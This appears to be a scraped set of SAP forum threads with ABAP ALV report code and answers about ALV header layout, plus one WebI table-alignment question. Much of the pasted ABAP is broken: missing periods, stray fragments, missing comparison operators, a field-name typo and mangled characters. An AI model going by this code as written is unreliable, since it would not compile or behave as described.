    DATA : gt_menge LIKE mseg-menge,
    st_menge LIKE mseg-menge.
    data:it_extab type SLIS_t_EXTAB,
         wa_extab like line of it_extab.
    SELECTION-SCREEN : BEGIN OF BLOCK blk1 WITH FRAME TITLE text-001.
    SELECT-OPTIONS : doc FOR mseg-mblnr.
    SELECTION-SCREEN : END OF BLOCK blk1.
    START-OF-SELECTION.
    PERFORM build_cat USING t_fcat.
    PERFORM build_layout.
    PERFORM build_eve.
    perform fill_sort.
    PERFORM get_data.
    PERFORM display.
    *& Form build_cat
    *text
    *-->TEMP_FCAT text
    FORM build_cat USING temp_fcat TYPE slis_t_fieldcat_alv.
    wa_fcat-tabname = 'ITAB'.
    wa_fcat-fieldname = 'MBLNR'.
    wa_fcat-seltext_m = 'Material Doc.'.
    APPEND wa_fcat TO temp_fcat.
    CLEAR wa_fcat.
    wa_fcat-tabname = 'ITAB'.
    wa_fcat-fieldname = 'MATNR'.
    wa_fcat-seltext_m = 'Material'.
    APPEND wa_fcat TO temp_fcat.
    CLEAR wa_fcat.
    wa_fcat-tabname = 'ITAB'.
    wa_fcat-fieldname = 'WERKS'.
    wa_fcat-seltext_m = 'Plant'.
    APPEND wa_fcat TO temp_fcat.
    CLEAR wa_fcat.
    wa_fcat-tabname = 'ITAB'.
    wa_fcat-fieldname = 'MENGE'.
    wa_fcat-seltext_m = 'Quantity'.
    wa_fcat-do_sum = 'Y'.
    APPEND wa_fcat TO temp_fcat.
    CLEAR wa_fcat.
    ENDFORM. "build_cat
    *& Form build_eve
    *text
    FORM build_eve.
    DATA : wa_eve TYPE slis_alv_event.
    data:mytabix type sy-tabix.
    CALL FUNCTION 'REUSE_ALV_EVENTS_GET'
    EXPORTING
    i_list_type = 0
    IMPORTING
    et_events = t_eve
    EXCEPTIONS
    list_type_wrong = 1
    OTHERS = 2.
    IF sy-subrc  <> 0.
    *MESSAGE ID SY-MSGID TYPE SY-MSGTY NUMBER SY-MSGNO
    *WITH SY-MSGV1 SY-MSGV2 SY-MSGV3 SY-MSGV4.
    ENDIF.
    READ TABLE t_eve  into wa_eve WITH KEY name = slis_ev_top_of_page.
    *INTO wa_eve.
    IF sy-subrc = 0.
    mytabix = sy-tabix.
    MOVE 'TOP_OF_PAGE' TO wa_eve-form.
    append  wa_eve  to t_eve.
    *modify t_eve from wa_eve index mytabix transporting form.
    ENDIF.
    READ TABLE t_eve  into wa_eve WITH KEY name = slis_ev_end_of_page.
    *INTO wa_eve.
    IF sy-subrc = 0.
    mytabix = sy-tabix.
    MOVE 'END_OF_PAGE' TO wa_eve-form.
    append  wa_eve  to t_eve.
    *modify t_eve from wa_eve index mytabix transporting form.
    ENDIF.
    ENDFORM. "build_eve
    *& Form build_layout
    *text
    FORM build_layout.
    *gd_layout-no_input = 'X'.
    gd_layout-colwidth_optimize = 'X'.
    gd_layout-info_fieldname = 'LINE_COLOR'.
    gd_layout-subtotals_text = 'SUBTOTAL'.
    *gd_layout-totals_text = 'TOTAL'.
    gd_layout-EDIT = 'X'.
    ENDFORM. " BUILD_LAYOUT
    *& Form get_data
    *text
    FORM get_data.
    SELECT mblnr matnr werks menge FROM mseg INTO CORRESPONDING FIELDS OF
    TABLE itab
    WHERE mblnr IN doc.
    SORT itab BY mblnr.
    sort itab by mblnr matnr.
    read table itab into wtab1 index 1.
    mytabix = 1.
    loop at itab into wtab2 from 2.
    if wtab1-mblnr = wtab2-mblnr and wtab1-matnr = wtab2-matnr.
    wtab1-menge = wtab1-menge + wtab2-menge.
    modify itab from wtab1 index mytabix.
    else.
    modify itab from wtab1 index mytabix.
    clear wtab1.
    mytabix = sy-tabix.
    move wtab2 to wtab1.
    endif.
    clear wtab2.
    endloop.
    delete ADJACENT DUPLICATES  from itab comparing mblnr matnr.
    ENDFORM. "get_data
    *& Form display
    *text
    FORM display.
    wa_extab-fcode = '&ETA'.
    append wa_extab to it_extab.
      wa_header-typ  = 'H'.
       wa_header-info = 'SANDY is Great'.
       append wa_header to it_header.
       clear wa_header.
    CALL FUNCTION 'REUSE_ALV_GRID_DISPLAY'
    EXPORTING
      I_INTERFACE_CHECK                 = ' '
      I_BYPASSING_BUFFER                = ' '
      I_BUFFER_ACTIVE                   = ' '
       I_CALLBACK_PROGRAM                = 'ZSAND_SUBTOTAL'
      I_CALLBACK_PF_STATUS_SET          = ' '
       I_CALLBACK_USER_COMMAND           = 'USERCOMMAND'
        I_CALLBACK_TOP_OF_PAGE            = 'TOP_OF_PAGE'
      I_CALLBACK_HTML_TOP_OF_PAGE       = ' '
      I_CALLBACK_HTML_END_OF_LIST       = ' '
      I_STRUCTURE_NAME                  =
      I_BACKGROUND_ID                   = ' '
      I_GRID_TITLE                      =
      I_GRID_SETTINGS                   =
       IS_LAYOUT                         = gd_layout
       IT_FIELDCAT                       = t_fcat
       IT_EXCLUDING                      = it_extab
      IT_SPECIAL_GROUPS                 =
       IT_SORT                           = it_sortcat
      IT_FILTER                         =
      IS_SEL_HIDE                       =
      I_DEFAULT                         = 'X'
      I_SAVE                            = ' '
      IS_VARIANT                        =
      IT_EVENTS                         = t_eve[]
      IT_EVENT_EXIT                     = 'BUILD_EVE'
      IS_PRINT                          =
      IS_REPREP_ID                      =
      I_SCREEN_START_COLUMN             = 0
      I_SCREEN_START_LINE               = 0
      I_SCREEN_END_COLUMN               = 0
      I_SCREEN_END_LINE                 = 0
      IT_ALV_GRAPHICS                   =
      IT_HYPERLINK                      =
      IT_ADD_FIELDCAT                   =
      IT_EXCEPT_QINFO                   =
      I_HTML_HEIGHT_TOP                 =
      I_HTML_HEIGHT_END                 =
    IMPORTING
      E_EXIT_CAUSED_BY_CALLER           =
      ES_EXIT_CAUSED_BY_USER            =
      TABLES
        t_outtab                          = itab
    EXCEPTIONS
      PROGRAM_ERROR                     = 1
      OTHERS                            = 2
    IF sy-subrc <> 0.
    MESSAGE ID SY-MSGID TYPE SY-MSGTY NUMBER SY-MSGNO
            WITH SY-MSGV1 SY-MSGV2 SY-MSGV3 SY-MSGV4.
    ENDIF.
    ENDFORM. "display
    ***& Form top_of_page
    *text
    FORM top_of_page.
    if var1 is initial.
      wa_header-typ  = 'H'.
       wa_header-info = 'SANDY is Great'.
       append wa_header to it_header.
       clear wa_header.
    CALL FUNCTION 'REUSE_ALV_COMMENTARY_WRITE'
      EXPORTING
        IT_LIST_COMMENTARY       = it_header
        I_LOGO                   = 'HR_LOGO'
      I_END_OF_LIST_GRID       =
              var1 = 'X'.
    endif.
      ENDFORM. "top_of_page
      FORM end_of_page.
    if var2 is initial.
      wa_header-typ  = 'H'.
       wa_header-info = 'SANDY is Great'.
       append wa_header to it_header.
       clear wa_header.
    CALL FUNCTION 'REUSE_ALV_COMMENTARY_WRITE'
      EXPORTING
        IT_LIST_COMMENTARY       = it_header
        I_LOGO                   = 'HR_LOGO'
      I_END_OF_LIST_GRID       =
              var2 = 'X'.
    endif.
      ENDFORM. "top_of_page
    *&      Form  fill_sort
          text
    -->  p1        text
    <--  p2        text
    form fill_sort .
    wa_sort-spos      = 1.
      wa_sort-fieldname = 'MBLNR'.
      wa_sort-SUBTOT    = 'X'. "subtotals any totals column by this field
    gd_sortcat-tabname
      APPEND wa_sort TO it_sortcat.
      wa_sort-spos      = 2.
      wa_sort-fieldname = 'MATNR'.
    gd_sortcat-tabname
      APPEND wa_sort TO it_sortcat.
    endform.                    " fill_sort
    FORM status USING rt_extab TYPE slis_t_extab.
    set pf-status  'ZSTANDARD'.
    endform.
    form USERCOMMAND USING R_UCOMM type sy-ucomm
                           rselfield type slis_selfield .
    set parameter id 'MAT'  field rselfield-value .
    call transaction 'MM03' and  skip first screen.
    endform.

  • Defining a Center Aligned Table in a WebI Report ?

    I sure hope I'm missing something, but one of our developers has been struggling with this for days and it seems like such an obvious report building exercise.  I looked myself and couldn't see how to do it either... not even using something crafty.
    The basic problem is that we have some content that will change every time the report is run, so we put this data in a one row table with the "show when empty" feature disabled for the cells and "auto-fit width" turned on.  If we could just center align the resulting table we would be fine, but the only way to center align it is to select another item and then use the center align feature.  However, that is a one-time operation that simply calculates the offset given the current data.  If the report is run again with different prompts (for example) the table size may be different, but the center offset is not recalculated because there is no way to mark the table for center alignment.
    So we need the table to be center aligned (either to the page, report header, or another element would work for us) because it will have multiple (optional cells).  Also, FYI, we can't just put it all in one forumla and let the cell content be centered... because we're actually embedding multiple hyperlinks in those other cells... in a borderless table... to get a centered block effect on the results.
    Any suggestions?  Only thing we've come up with is to insert padding cells that we set to Fixedsys fond and then calculate a space Fill() on based on the other results... but that's really messy and seems like overkill for something that's normally a "bread and butter" report building feature.

    Hi Ray,
    As I understand you want to Centre align the table , but when you select the  table centre align feature is disabled and you can only align the text in the table.
    You can use Relative Positioning Feature to align the Table in relation to the Bottom, top, Left and right edge of the report and other block. This feature allows user to fix the position of the table even if data in the table changes and auto-adjust the table position when block data or another block data changes.
    You can manually drag the table to the centre of the report; set the alignment of the text to the centre, when your data changes the, WEBI wonu2019t change the position of the table nor it changes the text alignment.
    Please paste the report data here so that I can understand how you want to display the table data and your statement u201Cwe put this data in a one row table with the "show when empty" feature disabled for the cells and "auto-fit width" turned on.
    Do you have any other blocks of data in your reporting along with the table data that you want to centre align?
    I Hope this Helpsu2026
    Thanksu2026.
    Pratik

  • Displaying blank line in ALV header

    How do I display a blank line in ALV header
    For eg i want if i want the ALV header to display as follows
    Document Datewise Report  as of 31/10/2009 
                                                     <-- BLANK LINE
    Run On : 01/12/2009

    Hi,
      Are you using 'REUSE_ALV_COMMENTARY_WRITE' for displaying the header?
    If yes, then I think it is not possible. Instead, use the events table to achieve it.
    Use the 'REUSE_ALV_EVENTS_GET' FM to get all possible events and then modify
    the events internal table to specify the form name to handle top-of-page event.
    eg.
    CALL FUNCTION 'REUSE_ALV_EVENTS_GET'
       EXPORTING
         I_LIST_TYPE           = 0
       IMPORTING
         ET_EVENTS             = V_EVENTS
    *  EXCEPTIONS
    *    LIST_TYPE_WRONG       = 1
    *    OTHERS                = 2
      IF SY-SUBRC <> 0.
    * MESSAGE ID SY-MSGID TYPE SY-MSGTY NUMBER SY-MSGNO
    *         WITH SY-MSGV1 SY-MSGV2 SY-MSGV3 SY-MSGV4.
      ENDIF.
    READ TABLE V_EVENTS INTO WA_EVENT WITH KEY NAME = 'TOP_OF_PAGE'.
      IF SY-SUBRC EQ 0.
        WA_EVENT-FORM = 'TOP_OF_PAGE'.
        MODIFY V_EVENTS FROM WA_EVENT TRANSPORTING FORM WHERE NAME =
    WA_EVENT-FORM.
      ENDIF.
    FORM TOP_OF_PAGE.
    * Use write statements to display the header data.
    ENDFORM.
    In write statement use '/' to go to new line. So to insert an empty line you can use something like
    write : 'some text' / / 'some text' .
    Hope this helps.
    Regards,
    Bhavesh.

  • Regarding ALV Header to display at Right side of Header

    Hi dudes..
    How to handle ALV header to print content at right side of the report out-put.
    If we use ALV_list dispaly line size ends to 80 and Other than
    using OOP's is there any way to do this..
    Could You please let me know.How to handle this issue??
    Regards,
    Sg

    Hi,
    CALL FUNCTION 'REUSE_ALV_GRID_DISPLAY'
    EXPORTING
    i_callback_program = 'ZALV_PRDS'
    i_callback_user_command = 'USER_COMMAND'
    i_callback_html_top_of_page = 'HTML_TOP_OF_PAGE' "for header alignment
    it_fieldcat = t_fcat
    i_save = 'A'
    it_events = t_eve
    TABLES
    t_outtab = itab
    IF sy-subrc 0.
    MESSAGE ID SY-MSGID TYPE SY-MSGTY NUMBER SY-MSGNO
    WITH SY-MSGV1 SY-MSGV2 SY-MSGV3 SY-MSGV4.
    ENDIF.
    FORM html_top_of_page USING document TYPE REF TO cl_dd_document.
    DATA: text TYPE sdydo_text_element.
    CALL METHOD document->add_gap
    EXPORTING
    width = 200.
    text = 'Material Information'.
    CALL METHOD document->add_text
    EXPORTING
    text = text
    sap_style = 'HEADING'.
    CALL METHOD document->new_line.
    CALL METHOD document->new_line.
    CALL METHOD document->new_line.
    ENDFORM. "HTML_TOP_OF_PAGE
    For more details, refer to the methods of the class cl_dd_document
    Also check the below link.
    https://www.sdn.sap.com/irj/sdn/wiki?path=/pages/viewpage.action&pageid=37566
    Also this link
    Report header using ALV Grid(oops)
    Please reward points if it helps
    Thanks
    Vikranth

  • Blocked ALV Header and Item Displau

    Hi Friends,
    I`m new to ABAP and the forum.I`m in dire need of solution for a report.
    Scenario
    I have an internal table with fields ebeln vbeln adrnr.
    For every change in ebeln i need to create a new page in ALV and display the item VBELN and some more fields.
    Its like a header and item in a single page of alv report.
    Is there a possibility to use ALV here or only classical report can be used in the scenario???

    Hi,
    For Blocked alv header and item display you
    declaration internal table fields ebeln vbeln adrn
    TYPE-POOLS SLIS.
    TYPES : BEGIN OF TY_EKKO,
         EBELN TYPE EKKO-EBELN,
         AEDAT TYPE EKKO-AEDAT,
         vblen TYPE EKKO- vbeln,
         END OF TY_EKKO.
    DATA : IT_EKKO TYPE TABLE OF TY_EKKO,
         WA_EKKO TYPE TY_EKKO.
    DATA : WA_FIELDCAT TYPE SLIS_FIELDCAT_ALV,
         IT_FIELDCAT TYPE SLIS_T_FIELDCAT_ALV.
    DATA : WA_EVENTS TYPE SLIS_ALV_EVENT,
         IT_EVENTS TYPE SLIS_T_ALV_EVENT,
         IS_LAYOUT TYPE SLIS_LAYOUT_ALV.
    For Build catalog
    CLEAR WA_FIELDCAT.
    WA_FIELDCAT-FIELDNAME = 'EBELN'.
    WA_FIELDCAT-SELTEXT_M = 'PO NUMBER'.
    WA_FIELDCAT-COL_POS = 1.
    WA_FIELDCAT-KEY = 'X'.
    APPEND WA_FIELDCAT TO IT_FIELDCAT.
    CLEAR WA_FIELDCAT.
    WA_FIELDCAT-FIELDNAME = 'AEDAT'.
    WA_FIELDCAT-SELTEXT_M = 'DATE OF CREATION'.
    WA_FIELDCAT-COL_POS = 2.
    APPEND WA_FIELDCAT TO IT_FIELDCAT.
    CLEAR WA_FIELDCAT.
    WA_FIELDCAT-FIELDNAME = 'LIFNR'.
    WA_FIELDCAT-SELTEXT_M = 'VENDOR NO'.
    WA_FIELDCAT-COL_POS = 3.
    APPEND WA_FIELDCAT TO IT_FIELDCAT.
    read_data :
    SELECT * INTO TABLE IT_EKKO FROM EKKO UP TO 20 ROWS.
    print_header :
    DATA : IT_LIST TYPE SLIS_T_LISTHEADER,
         WA_LIST TYPE LINE OF SLIS_T_LISTHEADER.
    CLEAR WA_LIST.
    WA_LIST-TYP = 'H'.
    WA_LIST-INFO = 'LIST OF PURCHASE ORDERS'.
    APPEND WA_LIST TO IT_LIST.
    Header along with write statement at top-of-page then use these function module
    CALL FUNCTION 'REUSE_ALV_COMMENTARY_WRITE'
    EXPORTING
    IT_LIST_COMMENTARY = IT_LIST

  • Logo on left side of ALV Header

    Is it possible to put a logo at left side of ALV Header? if so how?

    Hi this may be of some help. pls check out.
    REPORT YMS_EXCISE MESSAGE-ID E4 NO STANDARD PAGE HEADING LINE-SIZE 350. .
    TABLES : J_1IEXCHDR, " header table
    J_1IEXCDTL, " item table
    J_1IPART2, " Excise Part II details
    LFA1, " vendor master table
    J_1IMOVEND, " vendor excise details table
    MSEG, " Document Segment: Material
    MKPF, " Header: Material Document
    DD07T, " domain text table
    T001W. " Plant and Branch Details
    DATA : BEGIN OF IT_CHDR OCCURS 100,
    DOCNO LIKE J_1IEXCHDR-DOCNO,
    DOCYR LIKE J_1IEXCHDR-DOCYR,
    EXNUM LIKE J_1IEXCHDR-EXNUM,
    EXDAT LIKE J_1IEXCHDR-EXDAT,
    WERKS LIKE J_1IEXCHDR-WERKS,
    EXBED LIKE J_1IEXCHDR-EXBED,
    EXCCD LIKE J_1IEXCHDR-EXCCD,
    ECS LIKE J_1IEXCHDR-ECS,
    END OF IT_CHDR.
    DATA : BEGIN OF IT_CDTL OCCURS 100,
    DOCYR LIKE J_1IEXCDTL-DOCYR,
    DOCNO LIKE J_1IEXCDTL-DOCNO,
    EXNUM LIKE J_1IEXCDTL-EXNUM,
    EXDAT LIKE J_1IEXCDTL-EXDAT,
    LIFNR LIKE J_1IEXCDTL-LIFNR,
    MATNR LIKE J_1IEXCDTL-MATNR,
    MAKTX LIKE J_1IEXCDTL-MAKTX,
    CHAPID LIKE J_1IEXCDTL-CHAPID,
    EXBAS LIKE J_1IEXCDTL-EXBAS,
    EXBED LIKE J_1IEXCDTL-EXBED,
    ECS LIKE J_1IEXCDTL-ECS,
    MENGE LIKE J_1IEXCDTL-MENGE,
    MEINS LIKE J_1IEXCDTL-MEINS,
    RDOC2 LIKE J_1IEXCDTL-RDOC2,
    END OF IT_CDTL.
    DATA TEXT(10).
    DATA : BEGIN OF IT_OUT OCCURS 0,
    SERIALNO LIKE J_1IPART2-SERIALNO,
    TEXT1 LIKE TEXT,
    EXNUM LIKE J_1IEXCDTL-EXNUM,
    EXDAT LIKE J_1IEXCDTL-EXDAT,
    NAME LIKE LFA1-NAME1,
    DDTEXT LIKE DD07T-DDTEXT,
    EXCCD LIKE J_1IEXCHDR-EXCCD,
    BUDAT LIKE MKPF-BUDAT,
    EXBAS LIKE IT_CDTL-EXBAS,
    EXBED LIKE IT_CDTL-EXBED,
    ECS LIKE IT_CDTL-ECS,
    MATNR LIKE IT_CDTL-MATNR,
    MAKTX LIKE IT_CDTL-MAKTX,
    CHAPID LIKE IT_CDTL-CHAPID,
    MENGE LIKE IT_CDTL-MENGE,
    MEINS LIKE IT_CDTL-MEINS,
    DEL_IND(1),
    END OF IT_OUT.
    DATA IT_PART2 LIKE J_1IPART2 OCCURS 0 WITH HEADER LINE.
    DATA S_NO(4) .
    DATA DB_CNT LIKE SY-TABIX.
    DATA EBELN_T LIKE MSEG-EBELN .
    TYPE-POOLS : SLIS.
    DATA : AFIELD TYPE SLIS_FIELDCAT_ALV.
    DATA : LIST_HEADER TYPE SLIS_T_LISTHEADER,
    FIELDCAT TYPE SLIS_T_FIELDCAT_ALV,
    LS_FTCAT TYPE LVC_S_FCAT,
    SORTCAT TYPE SLIS_T_SORTINFO_ALV,
    SORTCAT_LN LIKE LINE OF SORTCAT,
    G_REPID LIKE SY-REPID,
    G_BACK_GROUND(70), "like bapibds01-objkey,
    GS_VARIANT LIKE DISVARIANT,
    G_SAVE ,
    GT_EVENTS TYPE SLIS_T_EVENT,
    ALV_EVENT TYPE SLIS_ALV_EVENT,
    EVENTCAT TYPE SLIS_T_EVENT,
    EVENTCAT_LN LIKE LINE OF EVENTCAT,
    LAYOUT_IN TYPE SLIS_LAYOUT_ALV,
    LAYOUT_IN1 TYPE SLIS_LAYOUT_ALV.
    CONSTANTS : GC_FORMNAME_TOP_OF_PAGE TYPE SLIS_FORMNAME VALUE
    'TOP_OF_PAGE',
    GC_FORMNAME_USER_COMMAND TYPE SLIS_FORMNAME VALUE
    'USER_COMMAND',
    GC_FORMNAME_BEFORE_OUTPUT TYPE SLIS_FORMNAME VALUE
    'BEFORE_OUTPUT'.
    ALV_EVENT TYPE SLIS_ALV_EVENT,
    DATA EX_NO LIKE IT_CHDR-EXNUM VALUE 0.
    DATA REGTYP_1 LIKE J_1IPART2-REGTYP.
    SELECTION-SCREEN BEGIN OF BLOCK B WITH FRAME.
    PARAMETERS WERKS TYPE J_1IEXCHDR-WERKS.
    SELECT-OPTIONS : BUDAT FOR J_1IEXCHDR-EXDAT.
    PARAMETERS : R1 RADIOBUTTON GROUP GRP DEFAULT 'X',
    R2 RADIOBUTTON GROUP GRP.
    SELECTION-SCREEN END OF BLOCK B.
    INITIALIZATION.
    G_REPID = SY-REPID.
    G_SAVE = 'A'.
    PERFORM BUILD_EVENT USING GT_EVENTS[].
    PERFORM ALV_EVENT_INIT.
    AT SELECTION-SCREEN.
    REFRESH LIST_HEADER.
    PERFORM TOP_OF_PAGE_LIST_HEADER USING LIST_HEADER.
    START-OF-SELECTION.
    PERFORM ALV_EVENT_INIT.
    G_REPID = SY-REPID.
    G_BACK_GROUND = ' ' .
    IF R1 = 'X'.
    CLEAR R2. CLEAR : REGTYP_1.
    REGTYP_1 = 'A'.
    set titlebar 'BALAJI' with DB_CNT.
    ELSEIF R2 = 'X'.
    CLEAR R1.CLEAR : REGTYP_1.
    REGTYP_1 = 'C'.
    set titlebar 'BALAJI1' with DB_CNT.
    ENDIF.
    SELECT * FROM J_1IPART2
    INTO CORRESPONDING FIELDS OF TABLE IT_PART2
    WHERE REGTYP = REGTYP_1 AND
    TRNTYP = 'GRPO' AND
    BUDAT IN BUDAT.
    DOCYR = IT_CDTL-DOCYR AND
    DOCNO = IT_CDTL-DOCNO.
    LOOP AT IT_PART2.
    SELECT SINGLE * FROM J_1IEXCHDR
    INTO CORRESPONDING FIELDS OF IT_CHDR
    WHERE TRNTYP = 'GRPO' AND
    DOCYR = IT_PART2-DOCYR AND
    DOCNO = IT_PART2-DOCNO AND
    WERKS = WERKS AND
    exdat IN BUDAT.
    ORDER BY EXDAT.
    IF SY-SUBRC = 0.
    APPEND IT_CHDR.
    ELSE.
    CONTINUE.
    ENDIF.
    IF SY-SUBRC <> 0.
    MESSAGE E084.
    ENDIF.
    ENDLOOP.
    LOOP AT IT_CHDR.
    SELECT * FROM J_1IEXCDTL
    INTO CORRESPONDING FIELDS OF IT_CDTL
    FOR ALL ENTRIES IN IT_CHDR
    WHERE
    TRNTYP = 'GRPO' AND
    DOCNO = IT_CHDR-DOCNO AND
    DOCYR = IT_CHDR-DOCYR AND
    EXNUM = IT_CHDR-EXNUM AND
    EXDAT = IT_CHDR-EXDAT AND
    WERKS = IT_CHDR-WERKS.
    IF SY-SUBRC = 0.
    APPEND IT_CDTL.
    ELSE.
    CONTINUE.
    ENDIF.
    ENDSELECT.
    ENDLOOP.
    LOOP AT IT_CDTL.
    CLEAR TEXT.
    DB_CNT = DB_CNT + 1.
    READ TABLE IT_CHDR WITH KEY EXNUM = IT_CDTL-EXNUM.
    READ TABLE IT_PART2 WITH KEY DOCNO = IT_CDTL-DOCNO .
    IT_OUT-SERIALNO = IT_PART2-SERIALNO.
    SELECT SINGLE NAME1 FROM LFA1
    INTO IT_OUT-NAME
    WHERE LIFNR = IT_CDTL-LIFNR.
    SELECT SINGLE * FROM LFA1
    WHERE LIFNR = IT_CDTL-LIFNR.
    IF LFA1-LAND1 EQ 'IN'.
    TEXT = 'INVOICE'.
    IT_OUT-TEXT1 = TEXT.
    ELSE.
    TEXT = 'BOE'.
    IT_OUT-TEXT1 = TEXT.
    ENDIF.
    SELECT SINGLE * FROM J_1IMOVEND
    WHERE LIFNR = IT_CDTL-LIFNR.
    SELECT SINGLE * FROM DD07T
    INTO IT_OUT-DDTEXT
    WHERE DOMNAME = 'J_1IVTYP' AND
    DDLANGUAGE = 'EN' AND
    DOMVALUE_L = J_1IMOVEND-J_1IVTYP.
    IF DD07T-DDTEXT = 'First Stage Dealer of indigenous excisable goods'
    OR
    DD07T-DDTEXT = 'Second Stage Dealer of indigenous excisablegoods'.
    DD07T-DDTEXT = 'Dealer'.
    ENDIF.
    IT_OUT-DDTEXT = DD07T-DDTEXT.
    ELSEIF DD07T-DDTEXT = 'Second Stage Dealer of indigenous excisable
    *goods'.
    DD07T-DDTEXT =
    CLEAR EBELN_T.
    SELECT SINGLE LFBNR FROM MSEG
    INTO EBELN_T
    WHERE MBLNR = IT_CDTL-RDOC2 .
    SELECT SINGLE * FROM MSEG
    WHERE BWART = '106' AND
    LFBNR = EBELN_T ."and
    ebeln = ebeln_t.
    IF SY-SUBRC = 0.
    IT_OUT-DEL_IND = 'X'.
    ELSE.
    IT_OUT-DEL_IND = ' '.
    ENDIF.
    SELECT SINGLE BUDAT FROM MKPF
    INTO IT_OUT-BUDAT
    WHERE MBLNR = EBELN_T ."MSEG-LFBNR.
    IT_OUT-EXNUM = IT_CDTL-EXNUM.
    IT_OUT-EXDAT = IT_CDTL-EXDAT.
    IT_OUT-EXCCD = IT_CHDR-EXCCD.
    IT_OUT-EXBAS = IT_CDTL-EXBAS.
    IT_OUT-EXBED = IT_CDTL-EXBED.
    IT_OUT-ECS = IT_CDTL-ECS.
    IT_OUT-MATNR = IT_CDTL-MATNR.
    IT_OUT-MAKTX = IT_CDTL-MAKTX.
    IT_OUT-CHAPID = IT_CDTL-CHAPID.
    IT_OUT-MENGE = IT_CDTL-MENGE.
    IT_OUT-MEINS = IT_CDTL-MEINS.
    APPEND IT_OUT.
    EX_NO = IT_CDTL-EXNUM.
    ENDLOOP.
    Title Portion
    IF REGTYP_1 = 'A'.
    SET TITLEBAR 'BALAJI' WITH DB_CNT.
    ELSEIF REGTYP_1 = 'C'.
    SET TITLEBAR 'BALAJI1' WITH DB_CNT.
    ENDIF.
    AFIELD-COL_POS = 1.
    AFIELD-FIELDNAME = 'SERIALNO'.
    AFIELD-SELTEXT_L = 'INPUTS'.
    AFIELD-JUST = 'L'.
    APPEND AFIELD TO FIELDCAT.
    AFIELD-COL_POS = 2.
    AFIELD-FIELDNAME = 'TEXT1'.
    AFIELD-SELTEXT_L = 'TYPE OF DOC'.
    AFIELD-JUST = 'L'.
    AFIELD-DECIMALS_OUT = '0'.
    AFIELD-NO_ZERO = 'X'.
    APPEND AFIELD TO FIELDCAT.
    AFIELD-COL_POS = 3.
    AFIELD-FIELDNAME = 'EXNUM'.
    AFIELD-SELTEXT_L = 'DOC.NO'.
    AFIELD-JUST = 'L'.
    APPEND AFIELD TO FIELDCAT.
    AFIELD-COL_POS = 4.
    AFIELD-FIELDNAME = 'EXDAT'.
    AFIELD-SELTEXT_L = 'DOC.DATE'.
    AFIELD-JUST = 'C'.
    APPEND AFIELD TO FIELDCAT.
    AFIELD-COL_POS = 5.
    AFIELD-FIELDNAME = 'NAME'.
    AFIELD-SELTEXT_L = 'NAME OF THE SUPPLIER'.
    AFIELD-NO_ZERO = 'X'.
    AFIELD-JUST = 'L'.
    APPEND AFIELD TO FIELDCAT.
    AFIELD-COL_POS = 6.
    AFIELD-FIELDNAME = 'DDTEXT'.
    AFIELD-SELTEXT_L = 'TYPE-OF-SUPPLIER'.
    AFIELD-JUST = 'L'.
    APPEND AFIELD TO FIELDCAT.
    AFIELD-COL_POS = 7.
    AFIELD-FIELDNAME = 'EXCCD'.
    AFIELD-SELTEXT_L = 'ECC OF THE SUPPLIER'.
    AFIELD-NO_ZERO = 'X'.
    AFIELD-JUST = 'L'.
    APPEND AFIELD TO FIELDCAT.
    AFIELD-COL_POS = 8.
    AFIELD-FIELDNAME = 'BUDAT'.
    AFIELD-SELTEXT_L = 'INPUT RECV DATE'.
    AFIELD-JUST = 'C'.
    APPEND AFIELD TO FIELDCAT.
    AFIELD-COL_POS = 9.
    AFIELD-FIELDNAME = 'EXBAS'.
    AFIELD-SELTEXT_L = 'ASSESSABLE-VALUE'.
    AFIELD-DO_SUM = 'X'.
    AFIELD-JUST = 'R'.
    AFIELD-DECIMALS_OUT = '2'.
    APPEND AFIELD TO FIELDCAT.
    AFIELD-COL_POS = 10.
    AFIELD-FIELDNAME = 'EXBED'.
    AFIELD-SELTEXT_L = 'DET OF CREDIT TAKEN CENVAT'.
    AFIELD-JUST = 'R'.
    APPEND AFIELD TO FIELDCAT.
    AFIELD-COL_POS = 11.
    AFIELD-FIELDNAME = 'ECS'.
    AFIELD-SELTEXT_L = 'DET OF CREDIT TAKEN E-CESS'.
    AFIELD-JUST = 'R'.
    APPEND AFIELD TO FIELDCAT.
    AFIELD-COL_POS = 12.
    AFIELD-FIELDNAME = 'MATNR'.
    AFIELD-SELTEXT_L = 'MATERIAL-CODE'.
    AFIELD-JUST = 'L'.
    APPEND AFIELD TO FIELDCAT.
    AFIELD-COL_POS = 13.
    AFIELD-FIELDNAME = 'MAKTX'.
    AFIELD-SELTEXT_L = 'DESCRIPTION'.
    AFIELD-JUST = 'L'.
    APPEND AFIELD TO FIELDCAT.
    AFIELD-COL_POS = 14.
    AFIELD-FIELDNAME = 'CHAPID'.
    AFIELD-SELTEXT_L = 'TARIFF-ID'.
    AFIELD-JUST = 'L'.
    APPEND AFIELD TO FIELDCAT.
    AFIELD-COL_POS = 15.
    AFIELD-FIELDNAME = 'MENGE'.
    AFIELD-SELTEXT_L = 'QUANTITY'.
    AFIELD-JUST = 'R'.
    AFIELD-DO_SUM = ' '.
    APPEND AFIELD TO FIELDCAT.
    AFIELD-COL_POS = 16.
    AFIELD-FIELDNAME = 'MEINS'.
    AFIELD-SELTEXT_L = 'UOM'.
    AFIELD-JUST = 'C'.
    APPEND AFIELD TO FIELDCAT.
    AFIELD-COL_POS = 17.
    AFIELD-FIELDNAME = 'DEL_IND'.
    AFIELD-SELTEXT_L = 'Deleted'.
    AFIELD-JUST = 'C'.
    APPEND AFIELD TO FIELDCAT.
    * LAYOUT FOR ZEBRA CATLOG
    LAYOUT_IN-COLWIDTH_OPTIMIZE = 'X'.
    LAYOUT_IN-ZEBRA = 'X'.
    LAYOUT_IN-GET_SELINFOS = 'X'.
    LAYOUT_IN-CONFIRMATION_PROMPT = 'X'.
    LAYOUT_IN-DETAIL_POPUP = 'X' .
    SORTCAT-decimals = '0'.
    CALL FUNCTION 'REUSE_ALV_GRID_DISPLAY'
    EXPORTING
    I_CALLBACK_PROGRAM = G_REPID
    I_CALLBACK_USER_COMMAND = 'USER_COMMAND'
    I_SAVE = G_SAVE
    IS_VARIANT = GS_VARIANT
    IT_FIELDCAT = FIELDCAT
    IT_SORT = SORTCAT
    IS_LAYOUT = LAYOUT_IN
    IT_EVENTS = EVENTCAT
    I_BACKGROUND_ID = g_back_ground
    TABLES
    T_OUTTAB = IT_OUT.
    *& Form TOP_OF_PAGE_LIST_HEADER
    text
    -->LIST_HEADERtext
    FORM TOP_OF_PAGE_LIST_HEADER USING LIST_HEADER TYPE SLIS_T_LISTHEADER.
    DATA : HLINE TYPE SLIS_LISTHEADER,
    TEXT(60) TYPE C.
